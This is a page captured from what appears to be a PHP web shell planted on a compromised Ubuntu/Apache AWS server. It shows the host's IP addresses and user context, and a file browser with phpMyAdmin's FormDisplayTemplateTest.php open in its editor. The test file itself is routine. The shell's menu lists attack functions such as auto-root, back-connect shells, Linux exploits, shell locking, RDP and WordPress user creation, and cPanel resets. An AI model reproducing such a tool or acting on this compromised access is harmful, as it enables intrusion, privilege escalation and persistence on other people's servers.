Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 18.226.181.223
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
stage /
phpmyadmin /
tests /
unit /
Config /
[ HOME SHELL ]
Name
Size
Permission
Action
Forms
[ DIR ]
drwxr-xr-x
Settings
[ DIR ]
drwxr-xr-x
ConfigFileTest.php
14.23
KB
-rw-r--r--
DescriptionTest.php
3.72
KB
-rw-r--r--
FormDisplayTemplateTest.php
7.73
KB
-rw-r--r--
FormDisplayTest.php
11.16
KB
-rw-r--r--
FormTest.php
6.12
KB
-rw-r--r--
PageSettingsTest.php
3.29
KB
-rw-r--r--
ServerConfigChecksTest.php
6.77
KB
-rw-r--r--
SettingsTest.php
69.85
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : FormDisplayTemplateTest.php
<?php declare(strict_types=1); namespace PhpMyAdmin\Tests\Config; use PhpMyAdmin\Config; use PhpMyAdmin\Config\FormDisplayTemplate; use PhpMyAdmin\Tests\AbstractTestCase; use PHPUnit\Framework\Attributes\CoversClass; #[CoversClass(FormDisplayTemplate::class)] class FormDisplayTemplateTest extends AbstractTestCase { protected FormDisplayTemplate $formDisplayTemplate; protected Config $config; /** * Setup tests */ protected function setUp(): void { parent::setUp(); $this->setLanguage(); $this->config = $this->createConfig(); $this->formDisplayTemplate = new FormDisplayTemplate($this->config); } /** * Test for displayInput() */ public function testDisplayInput(): void { $opts = []; $opts['errors'] = ['e1']; $opts['userprefs_allow'] = false; $opts['setvalue'] = ':group'; $opts['doc'] = 'https://example.com/'; $opts['comment'] = 'testComment'; $opts['comment_warning'] = true; $opts['show_restore_default'] = true; $result = $this->formDisplayTemplate->displayInput( 'test/path', 'testName', 'text', 'val', 'desc', false, $opts, ); self::assertStringContainsString('<tr class="group-header-field group-header-1 disabled-field">', $result); self::assertStringContainsString('<label for="test/path">', $result); self::assertStringContainsString('<a href="https://example.com/" target="documentation"', $result); self::assertStringContainsString( '<img src="themes/dot.gif" title="Documentation" alt="Documentation" class="icon ic_b_help"', $result, ); self::assertStringContainsString('<span class="disabled-notice"', $result); self::assertStringContainsString('<small>', $result); self::assertStringContainsString( '<input type="text" name="test/path" id="test/path" value="val" class="w-75 custom field-error">', $result, ); self::assertStringContainsString('<a class="restore-default hide" href="#test/path"', $result); self::assertStringContainsString('<dl class="inline_errors">', $result); self::assertStringContainsString('<dd>e1</dd>', $result); self::assertStringContainsString('</dl>', $result); // second case $this->config->set('is_setup', true); $opts = []; $opts['errors'] = []; $opts['setvalue'] = 'setVal'; $opts['comment'] = 'testComment'; $opts['show_restore_default'] = true; $opts['userprefs_comment'] = 'userprefsComment'; $opts['userprefs_allow'] = true; $result = $this->formDisplayTemplate->displayInput( 'test/path', 'testName', 'checkbox', 'val', '', false, $opts, ); self::assertStringContainsString('<tr class="group-field group-field-1">', $result); self::assertStringContainsString('<input type="checkbox" name="test/path" id="test/path" checked>', $result); self::assertStringContainsString('<a class="userprefs-comment" title="userprefsComment">', $result); self::assertStringContainsString( '<td class="userprefs-allow" title="Allow users to customize this value">', $result, ); self::assertStringContainsString( '<a class="set-value hide" href="#test/path=setVal" title="Set value: setVal">', $result, ); // short_text $opts = []; $opts['errors'] = []; $result = $this->formDisplayTemplate->displayInput( 'test/path', 'testName', 'short_text', 'val', '', true, $opts, ); self::assertStringContainsString( '<input type="text" size="25" name="test/path" id="test/path" value="val" class="">', $result, ); // number_text $result = $this->formDisplayTemplate->displayInput( 'test/path', 'testName', 'number_text', 'val', '', true, $opts, ); self::assertStringContainsString( '<input type="number" name="test/path" id="test/path" value="val" class="">', $result, ); // select case 1 $opts['values_escaped'] = true; $opts['values_disabled'] = [1, 2]; $opts['values'] = [1 => 'test', 'key1' => true, 'key2' => false]; $result = $this->formDisplayTemplate->displayInput('test/path', 'testName', 'select', true, '', true, $opts); self::assertStringContainsString('<select name="test/path" id="test/path" class="w-75">', $result); self::assertStringContainsString('<option value="1" selected disabled>', $result); self::assertStringContainsString('<option value="key1">', $result); self::assertStringContainsString('<option value="key2">', $result); // select case 2 $opts['values_escaped'] = false; $opts['values_disabled'] = [1, 2]; $opts['values'] = ['a<b' => 'c&d', 'key1' => true, 'key2' => false]; $result = $this->formDisplayTemplate->displayInput('test/path', 'testName', 'select', false, '', true, $opts); self::assertStringContainsString('<select name="test/path" id="test/path" class="w-75">', $result); // assertContains doesn't seem to work with htmlentities self::assertStringContainsString('<option value="a<b">c&d</option>', $result); // list $result = $this->formDisplayTemplate->displayInput( 'test/path', 'testName', 'list', ['foo', 'bar'], '', true, $opts, ); self::assertStringContainsString( '<textarea cols="35" rows="5" name="test/path" id="test/path" class="">', $result, ); } /** * Test for displayGroupHeader() */ public function testDisplayGroupHeader(): void { self::assertSame( '', $this->formDisplayTemplate->displayGroupHeader(''), ); $this->formDisplayTemplate->group = 3; $this->config->set('is_setup', true); $result = $this->formDisplayTemplate->displayGroupHeader('headerText'); self::assertStringContainsString('<tr class="group-header group-header-4">', $result); // without PMA_SETUP $this->config->set('is_setup', false); $this->formDisplayTemplate->group = 3; $result = $this->formDisplayTemplate->displayGroupHeader('headerText'); self::assertStringContainsString('<tr class="group-header group-header-4">', $result); } /** * Test for displayGroupFooter() */ public function testDisplayGroupFooter(): void { $this->formDisplayTemplate->group = 3; $this->formDisplayTemplate->displayGroupFooter(); self::assertSame(2, $this->formDisplayTemplate->group); } /** * Test for addJsValidate() */ public function testAddJsValidate(): void { $validators = ['one' => ['\\\';', '\r\n\\\'<scrIpt></\' + \'script>'], 'two' => []]; $js = []; $this->formDisplayTemplate->addJsValidate('testID', $validators, $js); self::assertSame( [ 'window.Config.registerFieldValidator(\'testID\', \'\\\';\', true, ' . '["\\\\r\\\\n\\\\\'' . '\u003CscrIpt\u003E\u003C\/\' + \'script\u003E"])', 'window.Config.registerFieldValidator(\'testID\', \'\', true)', ], $js, ); } }
Close